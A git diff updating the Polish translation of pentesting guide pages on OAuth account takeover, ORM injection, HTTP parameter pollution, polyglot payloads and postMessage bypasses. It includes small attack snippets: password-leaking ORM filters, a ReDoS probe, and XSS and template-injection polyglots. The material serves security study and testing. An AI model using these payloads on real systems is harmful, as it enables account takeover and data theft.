-- **serwer autoryzacji**: **serwer, który wydaje `access tokens`** dla `aplikacji klienckiej` po pomyślnej autoryzacji `właściciela zasobu`, np. **https://socialmedia.com**.
-- **client_id**: Publiczny, unikalny identyfikator dla aplikacji.
+- **serwer autoryzacji**: **serwer, który wydaje `access tokens`** aplikacji klienckiej po pomyślnej autoryzacji `właściciela zasobu` i uzyskaniu zgody, np. **https://socialmedia.com**.
+- **client_id**: Publiczny, unikalny identyfikator aplikacji.
 - **client_secret:** Poufny klucz, znany tylko aplikacji i serwerowi autoryzacji, używany do generowania `access_tokens`.
 - **response_type**: Wartość określająca **typ żądanego tokena**, jak `code`.
-- **scope**: **poziom dostępu**, o który `aplikacja kliencka` prosi `właściciela zasobu`.
+- **scope**: **poziom dostępu**, o który aplikacja kliencka prosi `właściciela zasobu`.
 - **redirect_uri**: **URL, na który użytkownik jest przekierowywany po autoryzacji**. Zazwyczaj musi być zgodny z wcześniej zarejestrowanym URL przekierowania.
 - **state**: Parametr do **utrzymywania danych podczas przekierowania użytkownika do i z serwera autoryzacji**. Jego unikalność jest kluczowa jako **mechanizm ochrony przed CSRF**.
 - **grant_type**: Parametr wskazujący **typ przyznania i typ tokena, który ma być zwrócony**.
@@ -45,7 +45,7 @@ https://socialmedia.com/auth
 ```
 https://example.com?code=uniqueCode123&state=randomString123
 ```
-5. https://example.com wykorzystuje ten `code`, razem z jego `client_id` i `client_secret`, aby zrealizować żądanie po stronie serwera w celu uzyskania `access_token` w Twoim imieniu, umożliwiając dostęp do uprawnień, na które wyraziłeś zgodę:
+5. https://example.com wykorzystuje ten `code`, razem z jego `client_id` i `client_secret`, aby złożyć żądanie po stronie serwera w celu uzyskania `access_token` w Twoim imieniu, umożliwiając dostęp do uprawnień, na które wyraziłeś zgodę:
 ```
 POST /oauth/access_token
 Host: socialmedia.com
@@ -59,11 +59,11 @@ Host: socialmedia.com
 
 `redirect_uri` jest kluczowy dla bezpieczeństwa w implementacjach OAuth i OpenID, ponieważ kieruje, gdzie wrażliwe dane, takie jak kody autoryzacji, są wysyłane po autoryzacji. Jeśli jest źle skonfigurowany, może pozwolić atakującym na przekierowanie tych żądań do złośliwych serwerów, co umożliwia przejęcie konta.
 
-Techniki eksploatacji różnią się w zależności od logiki walidacji serwera autoryzacji. Mogą obejmować od ścisłego dopasowania ścieżek do akceptowania dowolnego URL w określonej domenie lub podkatalogu. Powszechne metody eksploatacji obejmują otwarte przekierowania, traversale ścieżek, wykorzystywanie słabych wyrażeń regularnych oraz wstrzykiwanie HTML w celu kradzieży tokenów.
+Techniki eksploatacji różnią się w zależności od logiki walidacji serwera autoryzacji. Mogą obejmować od ścisłego dopasowania ścieżek do akceptowania dowolnego URL w określonej domenie lub podkatalogu. Powszechne metody eksploatacji obejmują otwarte przekierowania, traversale ścieżek, wykorzystywanie słabych regexów oraz wstrzykiwanie HTML w celu kradzieży tokenów.
 
 Oprócz `redirect_uri`, inne parametry OAuth i OpenID, takie jak `client_uri`, `policy_uri`, `tos_uri` i `initiate_login_uri`, są również podatne na ataki przekierowujące. Parametry te są opcjonalne, a ich wsparcie różni się w zależności od serwerów.
 
-Dla tych, którzy celują w serwer OpenID, punkt końcowy odkrywania (`**.well-known/openid-configuration**`) często zawiera cenne szczegóły konfiguracyjne, takie jak `registration_endpoint`, `request_uri_parameter_supported` oraz "`require_request_uri_registration`. Te szczegóły mogą pomóc w identyfikacji punktu końcowego rejestracji i innych specyfikacji konfiguracyjnych serwera.
+Dla tych, którzy celują w serwer OpenID, punkt końcowy odkrywania (`**.well-known/openid-configuration**`) często zawiera cenne szczegóły konfiguracyjne, takie jak `registration_endpoint`, `request_uri_parameter_supported` i "`require_request_uri_registration`. Te szczegóły mogą pomóc w identyfikacji punktu końcowego rejestracji i innych specyfikacji konfiguracyjnych serwera.
 
 ### XSS w implementacji przekierowania 
 
@@ -77,7 +77,7 @@ W implementacjach OAuth, niewłaściwe użycie lub pominięcie parametru **`stat
 
 Atakujący mogą to wykorzystać, przechwytując proces autoryzacji, aby powiązać swoje konto z kontem ofiary, co prowadzi do potencjalnych **przejęć konta**. Jest to szczególnie krytyczne w aplikacjach, w których OAuth jest używany do **celów uwierzytelniania**.
 
-Przykłady tej podatności w rzeczywistych warunkach zostały udokumentowane w różnych **wyzwaniach CTF** i **platformach hackingowych**, podkreślając jej praktyczne implikacje. Problem ten dotyczy również integracji z usługami stron trzecich, takimi jak **Slack**, **Stripe** i **PayPal**, gdzie atakujący mogą przekierowywać powiadomienia lub płatności na swoje konta.
+Przykłady tej podatności w rzeczywistych sytuacjach zostały udokumentowane w różnych **wyzwaniach CTF** i **platformach hackingowych**, podkreślając jej praktyczne implikacje. Problem ten dotyczy również integracji z usługami stron trzecich, takimi jak **Slack**, **Stripe** i **PayPal**, gdzie atakujący mogą przekierowywać powiadomienia lub płatności na swoje konta.
 
 Właściwe zarządzanie i walidacja parametru **`state`** są kluczowe dla ochrony przed CSRF i zabezpieczenia przepływu OAuth.
 
@@ -88,7 +88,7 @@ Właściwe zarządzanie i walidacja parametru **`state`** są kluczowe dla ochro
 
 ### Ujawnienie sekretów 
 
-Identyfikacja i ochrona tajnych parametrów OAuth jest kluczowa. Podczas gdy **`client_id`** można bezpiecznie ujawniać, ujawnienie **`client_secret`** wiąże się z poważnymi ryzykami. Jeśli `client_secret` zostanie skompromitowane, atakujący mogą wykorzystać tożsamość i zaufanie aplikacji do **kradzieży `access_tokens`** i prywatnych informacji.
+Identyfikacja i ochrona tajnych parametrów OAuth jest kluczowa. Podczas gdy **`client_id`** można bezpiecznie ujawniać, ujawnienie **`client_secret`** stwarza znaczące ryzyko. Jeśli `client_secret` zostanie skompromitowane, atakujący mogą wykorzystać tożsamość i zaufanie aplikacji do **kradzieży `access_tokens`** i prywatnych informacji.
 
 Powszechna podatność pojawia się, gdy aplikacje błędnie obsługują wymianę `code` autoryzacji na `access_token` po stronie klienta, a nie serwera. Ten błąd prowadzi do ujawnienia `client_secret`, umożliwiając atakującym generowanie `access_tokens` pod przykrywką aplikacji. Ponadto, poprzez inżynierię społeczną, atakujący mogą eskalować uprawnienia, dodając dodatkowe zakresy do autoryzacji OAuth, dalej wykorzystując zaufany status aplikacji.
 
@@ -115,7 +115,7 @@ Przejdź do **historii przeglądarki i sprawdź, czy token dostępu jest tam zap
 
 ### Everlasting Authorization Code
 
-**Kod autoryzacji powinien żyć tylko przez pewien czas, aby ograniczyć czas, w którym atakujący może go ukraść i użyć**.
+**Kod autoryzacji powinien żyć tylko przez pewien czas, aby ograniczyć okno czasowe, w którym atakujący może go ukraść i użyć**.
 
 ### Authorization/Refresh Token not bound to client
 
@@ -152,7 +152,7 @@ Aby uzyskać bardziej szczegółowe informacje na temat nadużywania AWS Cognito
 
 Jak [**wspomniano w tym artykule**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), przepływy OAuth, które oczekują otrzymania **tokena** (a nie kodu), mogą być podatne, jeśli nie sprawdzają, czy token należy do aplikacji.
 
-Dzieje się tak, ponieważ **atakujący** może stworzyć **aplikację wspierającą OAuth i zalogować się za pomocą Facebooka** (na przykład) w swojej własnej aplikacji. Następnie, gdy ofiara zaloguje się za pomocą Facebooka w **aplikacji atakującego**, atakujący może uzyskać **token OAuth użytkownika przyznany jego aplikacji i użyć go do zalogowania się w aplikacji OAuth ofiary, używając tokena użytkownika ofiary**.
+Dzieje się tak, ponieważ **atakujący** może stworzyć **aplikację wspierającą OAuth i zalogować się za pomocą Facebooka** (na przykład) w swojej własnej aplikacji. Następnie, gdy ofiara loguje się za pomocą Facebooka w **aplikacji atakującego**, atakujący może uzyskać **token OAuth użytkownika przyznany jego aplikacji i użyć go do zalogowania się w aplikacji OAuth ofiary, używając tokena użytkownika ofiary**.
 
 > [!OSTRZEŻENIE]
 > Dlatego, jeśli atakujący zdoła uzyskać dostęp użytkownika do swojej własnej aplikacji OAuth, będzie mógł przejąć konto ofiary w aplikacjach, które oczekują tokena i nie sprawdzają, czy token został przyznany ich identyfikatorowi aplikacji.
@@ -161,15 +161,15 @@ Dzieje się tak, ponieważ **atakujący** może stworzyć **aplikację wspieraj
 
 Zgodnie z [**tym artykułem**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), możliwe było zmuszenie ofiary do otwarcia strony z **returnUrl** wskazującym na host atakującego. Te informacje byłyby **przechowywane w cookie (RU)**, a w **późniejszym kroku** **prompt** zapyta **użytkownika**, czy chce udzielić dostępu do hosta atakującego.
 
-Aby obejść ten prompt, możliwe było otwarcie zakładki w celu zainicjowania **przepływu OAuth**, który ustawiłby to cookie RU używając **returnUrl**, zamknięcie zakładki przed wyświetleniem promptu i otwarcie nowej zakładki bez tej wartości. Wtedy **prompt nie poinformuje o hoście atakującego**, ale cookie zostanie ustawione na niego, więc **token zostanie wysłany do hosta atakującego** w przekierowaniu.
+Aby obejść ten prompt, możliwe było otwarcie zakładki, aby zainicjować **przepływ Oauth**, który ustawiłby to cookie RU używając **returnUrl**, zamknąć zakładkę przed wyświetleniem promptu i otworzyć nową zakładkę bez tej wartości. Wtedy **prompt nie poinformuje o hoście atakującego**, ale cookie zostanie ustawione na niego, więc **token zostanie wysłany do hosta atakującego** w przekierowaniu.
 
 ### Obejście interakcji z promptem 
 
-Jak wyjaśniono w [**tym filmie**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), niektóre implementacje OAuth pozwalają wskazać parametr GET **`prompt`** jako None (**`&prompt=none`**), aby **zapobiec pytaniu użytkowników o potwierdzenie** przyznanego dostępu w promptcie w sieci, jeśli są już zalogowani na platformie.
+Jak wyjaśniono w [**tym filmie**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), niektóre implementacje OAuth pozwalają wskazać parametr **`prompt`** GET jako None (**`&prompt=none`**), aby **zapobiec pytaniu użytkowników o potwierdzenie** przyznanego dostępu w promptcie w sieci, jeśli są już zalogowani na platformie.
 
 ### response_mode
 
-Jak [**wyjaśniono w tym filmie**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), możliwe jest wskazanie parametru **`response_mode`**, aby określić, gdzie chcesz, aby kod został podany w końcowym URL:
+Jak [**wyjaśniono w tym filmie**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), może być możliwe wskazanie parametru **`response_mode`**, aby określić, gdzie chcesz, aby kod został podany w ostatecznym URL:
 
 - `response_mode=query` -> Kod jest podawany wewnątrz parametru GET: `?code=2397rf3gu93f`
 - `response_mode=fragment` -> Kod jest podawany wewnątrz fragmentu URL `#code=2397rf3gu93f`
@@ -178,7 +178,7 @@ Jak [**wyjaśniono w tym filmie**](https://www.youtube.com/watch?v=n9x7_J_a_7Q),
 
 ### Przepływ OAuth ROPC - obejście 2 FA 
 
-Zgodnie z [**tym wpisem na blogu**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96), jest to przepływ OAuth, który pozwala na logowanie się w OAuth za pomocą **nazwa użytkownika** i **hasła**. Jeśli podczas tego prostego przepływu zwrócony zostanie **token** z dostępem do wszystkich działań, które użytkownik może wykonać, możliwe jest obejście 2FA przy użyciu tego tokena.
+Zgodnie z [**tym wpisem na blogu**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96), jest to przepływ OAuth, który pozwala na logowanie się w OAuth za pomocą **nazwa użytkownika** i **hasła**. Jeśli podczas tego prostego przepływu zwrócony zostanie **token** z dostępem do wszystkich działań, które użytkownik może wykonać, to możliwe jest obejście 2FA przy użyciu tego tokena.
 
 ### ATO na stronie internetowej przekierowującej na podstawie otwartego przekierowania do referrera 
 
@@ -187,7 +187,7 @@ Ten [**wpis na blogu**](https://blog.voorivex.team/oauth-non-happy-path-to-ato)
 1. Ofiara uzyskuje dostęp do strony internetowej atakującego
 2. Ofiara otwiera złośliwy link, a opener rozpoczyna przepływ Google OAuth z `response_type=id_token,code&prompt=none` jako dodatkowymi parametrami, używając jako **referrera strony internetowej atakującego**.
 3. W openerze, po autoryzacji ofiary przez dostawcę, wysyła ich z powrotem do wartości parametru `redirect_uri` (strona internetowa ofiary) z kodem 30X, który nadal utrzymuje stronę internetową atakującego w refererze.
-4. Strona internetowa ofiary **wywołuje otwarte przekierowanie na podstawie referrera**, przekierowując użytkownika ofiary na stronę internetową atakującego, ponieważ **`respose_type`** był **`id_token,code`**, kod zostanie wysłany z powrotem do atakującego w **fragmencie** URL, co pozwoli mu przejąć konto użytkownika za pomocą Google na stronie ofiary.
+4. Strona internetowa ofiary **wywołuje otwarte przekierowanie na podstawie referrera**, przekierowując użytkownika ofiary na stronę internetową atakującego, ponieważ **`respose_type`** był **`id_token,code`**, kod zostanie wysłany z powrotem do atakującego w **fragmencie** URL, co pozwoli mu przejąć konto użytkownika za pośrednictwem Google na stronie ofiary.
 
 ### Parametry SSRFs 
 
@@ -197,8 +197,8 @@ Dynamiczna rejestracja klienta w OAuth stanowi mniej oczywisty, ale krytyczny we
 
 **Kluczowe punkty:**
 
-- **Dynamiczna rejestracja klienta** jest często mapowana na `/register` i akceptuje szczegóły takie jak `client_name`, `client_secret`, `redirect_uris` oraz adresy URL dla logo lub zestawów kluczy JSON Web Key (JWK) za pomocą żądań POST.
-- Ta funkcja przestrzega specyfikacji zawartych w **RFC7591** i **OpenID Connect Registration 1.0**, które zawierają parametry potencjalnie podatne na SSRF.
+- **Dynamiczna rejestracja klienta** jest często mapowana na `/register` i akceptuje szczegóły takie jak `client_name`, `client_secret`, `redirect_uris` oraz adresy URL dla logo lub zestawów kluczy JSON Web (JWK) za pomocą żądań POST.
+- Ta funkcja przestrzega specyfikacji określonych w **RFC7591** i **OpenID Connect Registration 1.0**, które zawierają parametry potencjalnie podatne na SSRF.
 - Proces rejestracji może nieumyślnie narażać serwery na SSRF na kilka sposobów:
 - **`logo_uri`**: Adres URL dla logo aplikacji klienckiej, które może być pobierane przez serwer, wywołując SSRF lub prowadząc do XSS, jeśli adres URL jest źle obsługiwany.
 - **`jwks_uri`**: Adres URL do dokumentu JWK klienta, który, jeśli zostanie złośliwie skonstruowany, może spowodować, że serwer wykona zewnętrzne żądania do serwera kontrolowanego przez atakującego.
@@ -208,7 +208,7 @@ Dynamiczna rejestracja klienta w OAuth stanowi mniej oczywisty, ale krytyczny we
 **Strategia eksploatacji:**
 
 - SSRF można wywołać, rejestrując nowego klienta z złośliwymi adresami URL w parametrach takich jak `logo_uri`, `jwks_uri` lub `sector_identifier_uri`.
-- Chociaż bezpośrednia eksploatacja za pomocą `request_uris` może być ograniczona przez kontrole białej listy, dostarczenie wcześniej zarejestrowanego, kontrolowanego przez atakującego `request_uri` może ułatwić SSRF podczas fazy autoryzacji.
+- Chociaż bezpośrednia eksploatacja za pomocą `request_uris` może być ograniczona przez kontrole białej listy, dostarczenie wstępnie zarejestrowanego, kontrolowanego przez atakującego `request_uri` może ułatwić SSRF podczas fazy autoryzacji.
 
 ## Warunki wyścigu dostawców OAuth
 
diff --git a/src/pentesting-web/orm-injection.md b/src/pentesting-web/orm-injection.md
index 12b81b410..411946169 100644
--- a/src/pentesting-web/orm-injection.md
+++ b/src/pentesting-web/orm-injection.md
@@ -20,7 +20,7 @@ return Response([])
 return Response(serializer.data)
-Zauważ, że wszystkie request.data (które będą w formacie json) są bezpośrednio przekazywane do **filtrów obiektów z bazy danych**. Atakujący mógłby wysłać nieoczekiwane filtry, aby wyciekło więcej danych, niż się spodziewano. +Zauważ, jak wszystkie request.data (które będą w formacie json) są bezpośrednio przekazywane do **filtrów obiektów z bazy danych**. Atakujący mógłby wysłać nieoczekiwane filtry, aby wyciekło więcej danych, niż się spodziewano. Przykłady: @@ -67,7 +67,7 @@ Article.objects.filter(is_secret=False, categories__articles__id=2) > [!CAUTION] > Nadużywanie relacji może umożliwić obejście nawet filtrów mających na celu ochronę wyświetlanych danych. -- **Błąd/Czas oparty na ReDoS**: W poprzednich przykładach oczekiwano różnych odpowiedzi, jeśli filtracja działała lub nie, aby użyć tego jako orakulum. Ale może się zdarzyć, że jakaś akcja jest wykonywana w bazie danych i odpowiedź jest zawsze taka sama. W tym scenariuszu może być możliwe wywołanie błędu bazy danych, aby uzyskać nowe orakulum. +- **Błąd/Czas oparty na ReDoS**: W poprzednich przykładach oczekiwano różnych odpowiedzi, jeśli filtracja działała lub nie, aby użyć tego jako orakula. Ale może się zdarzyć, że jakaś akcja jest wykonywana w bazie danych i odpowiedź jest zawsze taka sama. W tym scenariuszu może być możliwe wywołanie błędu bazy danych, aby uzyskać nowy orakula. ```json // Non matching password { @@ -77,7 +77,7 @@ Article.objects.filter(is_secret=False, categories__articles__id=2) // ReDoS matching password (will show some error in the response or check the time) {"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"} ``` -- **SQLite**: Domyślnie nie ma operatora regexp (wymaga załadowania rozszerzenia zewnętrznego) +- **SQLite**: Domyślnie nie ma operatora regexp (wymaga załadowania rozszerzenia firm trzecich) - **PostgreSQL**: Nie ma domyślnego limitu czasu regex i jest mniej podatny na backtracking - **MariaDB**: Nie ma limitu czasu regex @@ -102,7 +102,7 @@ res.json([]); }); -Można zauważyć, że całe ciało javascript jest przekazywane do prisma w celu wykonania zapytań. +Można zauważyć, że całe ciało javascriptu jest przekazywane do prisma w celu wykonania zapytań. W przykładzie z oryginalnego posta, to sprawdzi wszystkie posty utworzone przez kogoś (każdy post jest tworzony przez kogoś), zwracając również informacje o użytkowniku tej osoby (nazwa użytkownika, hasło...) ```json @@ -134,7 +134,7 @@ W przykładzie z oryginalnego posta, to sprawdzi wszystkie posty utworzone przez ... ] ``` -Następujące zapytanie wybiera wszystkie posty utworzone przez kogoś z hasłem i zwróci hasło: +Następujące zapytanie wybiera wszystkie posty utworzone przez kogoś z hasłem i zwróci to hasło: ```json { "filter": { @@ -187,9 +187,9 @@ startsWith: "pas", }) ``` > [!OSTRZEŻENIE] -> Używając operacji takich jak `startsWith`, możliwe jest ujawnienie informacji. +> Używając operacji takich jak `startsWith`, możliwe jest wycieknięcie informacji. -- **Ominięcie filtrowania relacji wiele-do-wielu:** +- **Obchodzenie filtracji relacji wiele-do-wielu:** ```javascript app.post("/articles", async (req, res) => { try { diff --git a/src/pentesting-web/parameter-pollution.md b/src/pentesting-web/parameter-pollution.md index 60cce4488..59ae557f9 100644 --- a/src/pentesting-web/parameter-pollution.md +++ b/src/pentesting-web/parameter-pollution.md @@ -4,6 +4,7 @@ {{#include ../banners/hacktricks-training.md}} + ## Przegląd HTTP Parameter Pollution (HPP) HTTP Parameter Pollution (HPP) to technika, w której atakujący manipulują parametrami HTTP, aby zmienić zachowanie aplikacji internetowej w niezamierzony sposób. Manipulacja ta polega na dodawaniu, modyfikowaniu lub duplikowaniu parametrów HTTP. Efekt tych manipulacji nie jest bezpośrednio widoczny dla użytkownika, ale może znacząco zmienić funkcjonalność aplikacji po stronie serwera, z zauważalnymi skutkami po stronie klienta. @@ -14,7 +15,7 @@ URL transakcji aplikacji bankowej: - **Oryginalny URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000` -Poprzez dodanie dodatkowego parametru `from`: +Wstawiając dodatkowy parametr `from`: - **Manipulowany URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC` @@ -22,7 +23,7 @@ Transakcja może być błędnie obciążona na `accountC` zamiast `accountA`, co #### **Specyficzne dla technologii parsowanie parametrów** -- Sposób, w jaki parametry są analizowane i priorytetowane, zależy od używanej technologii webowej, co wpływa na to, jak HPP może być wykorzystywane. +- Sposób, w jaki parametry są analizowane i priorytetowane, zależy od używanej technologii internetowej, co wpływa na to, jak HPP może być wykorzystywane. - Narzędzia takie jak [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) pomagają zidentyfikować te technologie i ich zachowania w zakresie parsowania. ### Wykorzystanie HPP w PHP @@ -33,12 +34,12 @@ Transakcja może być błędnie obciążona na `accountC` zamiast `accountA`, co - **Metoda:** Poprzez przechwycenie żądania OTP za pomocą narzędzi takich jak Burp Suite, atakujący zduplikował parametr `email` w żądaniu HTTP. - **Wynik:** OTP, przeznaczone dla początkowego adresu e-mail, zostało zamiast tego wysłane na drugi adres e-mail podany w manipulowanym żądaniu. Ta luka umożliwiła nieautoryzowany dostęp, omijając zamierzony środek bezpieczeństwa. -Ten scenariusz podkreśla krytyczne niedopatrzenie w backendzie aplikacji, który przetwarzał pierwszy parametr `email` do generacji OTP, ale używał ostatniego do dostarczenia. +Scenariusz ten podkreśla krytyczne niedopatrzenie w backendzie aplikacji, który przetwarzał pierwszy parametr `email` do generacji OTP, ale używał ostatniego do dostarczenia. **Przypadek manipulacji kluczem API:** -- **Scenariusz:** Aplikacja pozwala użytkownikom na aktualizację swojego klucza API poprzez stronę ustawień profilu. -- **Wektor ataku:** Atakujący odkrywa, że poprzez dodanie dodatkowego parametru `api_key` do żądania POST, mogą manipulować wynikiem funkcji aktualizacji klucza API. +- **Scenariusz:** Aplikacja pozwala użytkownikom na aktualizację swojego klucza API za pośrednictwem strony ustawień profilu. +- **Wektor ataku:** Atakujący odkrywa, że dodając dodatkowy parametr `api_key` do żądania POST, może manipulować wynikiem funkcji aktualizacji klucza API. - **Technika:** Wykorzystując narzędzie takie jak Burp Suite, atakujący tworzy żądanie, które zawiera dwa parametry `api_key`: jeden prawidłowy i jeden złośliwy. Serwer, przetwarzając tylko ostatnie wystąpienie, aktualizuje klucz API na wartość podaną przez atakującego. - **Wynik:** Atakujący zyskuje kontrolę nad funkcjonalnością API ofiary, potencjalnie uzyskując dostęp do prywatnych danych w sposób nieautoryzowany. @@ -46,7 +47,7 @@ Ten przykład dodatkowo podkreśla konieczność bezpiecznego zarządzania param ### Parsowanie parametrów: Flask vs. PHP -Sposób, w jaki technologie webowe obsługują duplikaty parametrów HTTP, różni się, co wpływa na ich podatność na ataki HPP: +Sposób, w jaki technologie internetowe obsługują duplikaty parametrów HTTP, różni się, co wpływa na ich podatność na ataki HPP: - **Flask:** Przyjmuje wartość pierwszego napotkanego parametru, takiego jak `a=1` w ciągu zapytania `a=1&a=2`, priorytetując początkową instancję nad kolejnymi duplikatami. - **PHP (na serwerze Apache HTTP):** Przeciwnie, priorytetowo traktuje ostatnią wartość parametru, wybierając `a=2` w podanym przykładzie. To zachowanie może niezamierzenie ułatwić wykorzystanie HPP, honorując złośliwy parametr atakującego zamiast oryginalnego. diff --git a/src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md b/src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md index 476803049..152f4a809 100644 --- a/src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md +++ b/src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md @@ -5,10 +5,10 @@ Celem tych PoC i Polyglothów jest dostarczenie testerowi szybkiego **podsumowania** luk, które może wykorzystać, jeśli jego **wejście w jakiś sposób jest odbijane w odpowiedzi**. > [!WARNING] -> Ta **ściągawka nie proponuje kompleksowej listy testów dla każdej luki**, tylko kilka podstawowych. Jeśli szukasz bardziej kompleksowych testów, zapoznaj się z każdą proponowaną luką. +> Ta **ściągawka nie proponuje wyczerpującej listy testów dla każdej luki**, tylko kilka podstawowych. Jeśli szukasz bardziej szczegółowych testów, zapoznaj się z każdą proponowaną luką. > [!CAUTION] -> Nie **znajdziesz tutaj wstrzyknięć zależnych od Content-Type, takich jak XXE**, ponieważ zazwyczaj spróbujesz ich samodzielnie, jeśli znajdziesz żądanie wysyłające dane xml. Nie **znajdziesz tutaj również wstrzyknięć do bazy danych**, ponieważ nawet jeśli niektóre treści mogą być odbijane, w dużej mierze zależy to od technologii i struktury bazy danych backendu. +> Nie **znajdziesz tutaj wstrzyknięć zależnych od Content-Type, takich jak XXE**, ponieważ zazwyczaj spróbujesz ich samodzielnie, jeśli znajdziesz żądanie wysyłające dane xml. Nie **znajdziesz również wstrzyknięć do bazy danych**, ponieważ nawet jeśli niektóre treści mogą być odbijane, w dużej mierze zależy to od technologii i struktury bazy danych backendu. ## Lista Polyglothów ```python @@ -57,7 +57,7 @@ javascript:"/*'/*`/*-->

THIS IS AND INJECTED TITLE

``` -## [File Inclusion/Path Traversal](../file-inclusion/) +## [Inkluzja plików/Przechodzenie ścieżek](../file-inclusion/) ### Podstawowe testy ```bash @@ -136,7 +136,7 @@ javascript:alert(1) x=>alert(/Chrome%20XSS%20filter%20bypass/);> ``` -### Poligloty +### Polygloty ```markup x=>alert(/Chrome%20XSS%20filter%20bypass/);> ``` @@ -155,7 +155,7 @@ ${7*7} ${{7*7}} #{7*7} ``` -### Polygloty +### Poligloty ```python {{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\ ``` diff --git a/src/pentesting-web/postmessage-vulnerabilities/README.md b/src/pentesting-web/postmessage-vulnerabilities/README.md index 140c1ab90..d5760db0b 100644 --- a/src/pentesting-web/postmessage-vulnerabilities/README.md +++ b/src/pentesting-web/postmessage-vulnerabilities/README.md @@ -75,34 +75,34 @@ Zauważ w tym przypadku, jak **pierwszą rzeczą**, którą kod robi, jest **spr Aby **znaleźć nasłuchiwacze zdarzeń** na bieżącej stronie, możesz: -- **Przeszukać** kod JS pod kątem `window.addEventListener` i `$(window).on` (_wersja JQuery_) -- **Wykonać** w konsoli narzędzi deweloperskich: `getEventListeners(window)` +- **Szukaj** w kodzie JS `window.addEventListener` i `$(window).on` (_wersja JQuery_) +- **Wykonaj** w konsoli narzędzi dewelopera: `getEventListeners(window)` ![](<../../images/image (618) (1).png>) -- **Przejść do** _Elements --> Event Listeners_ w narzędziach deweloperskich przeglądarki +- **Przejdź do** _Elements --> Event Listeners_ w narzędziach dewelopera przeglądarki ![](<../../images/image (396).png>) -- Użyć **rozszerzenia przeglądarki** takiego jak [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) lub [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Te rozszerzenia przeglądarki **przechwycą wszystkie wiadomości** i pokażą je Tobie. +- Użyj **rozszerzenia przeglądarki** takiego jak [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) lub [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Te rozszerzenia przeglądarki **przechwycą wszystkie wiadomości** i pokażą je Tobie. ### Ominięcia sprawdzania pochodzenia -- Atrybut **`event.isTrusted`** jest uważany za bezpieczny, ponieważ zwraca `True` tylko dla zdarzeń generowanych przez prawdziwe działania użytkownika. Chociaż trudno go obejść, jeśli jest poprawnie zaimplementowany, jego znaczenie w kontrolach bezpieczeństwa jest znaczące. +- Atrybut **`event.isTrusted`** jest uważany za bezpieczny, ponieważ zwraca `True` tylko dla zdarzeń generowanych przez prawdziwe działania użytkownika. Chociaż trudno go obejść, jeśli jest poprawnie zaimplementowany, jego znaczenie w kontrolach bezpieczeństwa jest zauważalne. - Użycie **`indexOf()`** do walidacji pochodzenia w zdarzeniach PostMessage może być podatne na ominięcie. Przykład ilustrujący tę podatność to: ```javascript "https://app-sj17.marketo.com".indexOf("https://app-sj17.ma") ``` -- Metoda **`search()`** z `String.prototype.search()` jest przeznaczona do wyrażeń regularnych, a nie do ciągów. Przekazanie czegokolwiek innego niż regexp prowadzi do niejawnej konwersji na regex, co czyni metodę potencjalnie niebezpieczną. Dzieje się tak, ponieważ w regexie kropka (.) działa jako symbol wieloznaczny, co pozwala na ominięcie walidacji za pomocą specjalnie skonstruowanych domen. Na przykład: +- Metoda **`search()`** z `String.prototype.search()` jest przeznaczona do wyrażeń regularnych, a nie do ciągów. Przekazanie czegokolwiek innego niż regexp prowadzi do niejawnej konwersji na regex, co czyni metodę potencjalnie niebezpieczną. Dzieje się tak, ponieważ w regexie kropka (.) działa jako znak wieloznaczny, co pozwala na ominięcie walidacji za pomocą specjalnie skonstruowanych domen. Na przykład: ```javascript "https://www.safedomain.com".search("www.s.fedomain.com") ``` - Funkcja **`match()`**, podobnie jak `search()`, przetwarza regex. Jeśli regex jest źle skonstruowany, może być podatny na ominięcie. -- Funkcja **`escapeHtml`** ma na celu sanitację danych wejściowych poprzez ucieczkę znaków. Jednak nie tworzy nowego obiektu z ucieczką, lecz nadpisuje właściwości istniejącego obiektu. To zachowanie może być wykorzystane. Szczególnie, jeśli obiekt może być manipulowany w taki sposób, że jego kontrolowana właściwość nie uznaje `hasOwnProperty`, `escapeHtml` nie zadziała zgodnie z oczekiwaniami. To jest pokazane w poniższych przykładach: +- Funkcja **`escapeHtml`** ma na celu sanitację wejść poprzez ucieczkę znaków. Jednak nie tworzy nowego obiektu z ucieczką, lecz nadpisuje właściwości istniejącego obiektu. To zachowanie może być wykorzystane. Szczególnie, jeśli obiekt może być manipulowany w taki sposób, że jego kontrolowana właściwość nie uznaje `hasOwnProperty`, `escapeHtml` nie zadziała zgodnie z oczekiwaniami. To jest pokazane w poniższych przykładach: - Oczekiwana awaria: @@ -120,15 +120,15 @@ result = u(new Error("'\"\\")) result.message // "'"\" ``` -W kontekście tej podatności, obiekt `File` jest szczególnie podatny na wykorzystanie z powodu swojej właściwości `name` tylko do odczytu. Ta właściwość, gdy jest używana w szablonach, nie jest sanitizowana przez funkcję `escapeHtml`, co prowadzi do potencjalnych zagrożeń bezpieczeństwa. +W kontekście tej podatności, obiekt `File` jest szczególnie podatny na wykorzystanie z powodu swojej właściwości `name`, która jest tylko do odczytu. Ta właściwość, gdy jest używana w szablonach, nie jest sanitizowana przez funkcję `escapeHtml`, co prowadzi do potencjalnych zagrożeń bezpieczeństwa. - Właściwość `document.domain` w JavaScript może być ustawiana przez skrypt w celu skrócenia domeny, co pozwala na bardziej luźne egzekwowanie polityki tego samego pochodzenia w obrębie tej samej domeny nadrzędnej. ### 